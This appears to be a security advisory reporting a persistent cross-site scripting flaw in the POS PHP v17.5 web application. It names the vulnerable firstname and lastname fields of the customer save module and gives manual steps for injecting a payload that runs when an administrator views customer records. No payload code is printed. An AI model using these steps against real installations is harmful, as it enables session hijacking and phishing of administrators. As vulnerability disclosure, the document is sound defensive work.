Technical Details & Description:  
================================  
A persistent input validation web vulnerability has been discovered in  
the official POS PHP v17.5 web-application.  
The vulnerability allows remote attackers to inject own malicious script  
codes with persistent attack vector to  
compromise browser to web-application requests from the application-side.  
  
The persistent web vulnerability is located in the firstname and  
lastname parameter of the customer profile module.  
Remote attackers are able to change or add malicious script code as  
firstname and lastname to customer profiles.  
Thus allows to execute the script code with persistent attack vector  
against administrators in the backend in the  
/customers/ or customers/save/ modules. The request method to inject is  
POST via add or edit of the customer and  
the attack vector is located on the application-side.  
  
Successful exploitation of the vulnerability results in session  
hijacking, persistent phishing attacks, persistent  
external redirects to malicious source and persistent manipulation of  
affected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Customer (index.php/customers/save)  
  
Vulnerable Input(s):  
[+] Firstname  
[+] Lastname  
  
Vulnerable File(s):  
[+]  
  
Vulnerable Parameter(s):  
[+] firstname  
[+] lastname  
  
Affected Module(s):  
[+] index.php/customers/  
  
  
Proof of Concept (PoC):  
=======================  
The persistent input validation web vulnerability can be exploited by  
remote attackers with low privilege user account with low user interaction.  
For security demonstration or to reproduce the security web  
vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce ...  
1. Register a customer account  
2. Move to the profile section  
3. Inject test payload into the vulnerable firstname and lastname input  
field  
4. Save the entry and wait  
Note: The execute occurs in the backend on preview of barcode, customer  
details and more  
5. Wait until the admin or other high privileged user roles are  
interacting for execute  
6. Successful reproduce of the persistent web vulnerability!
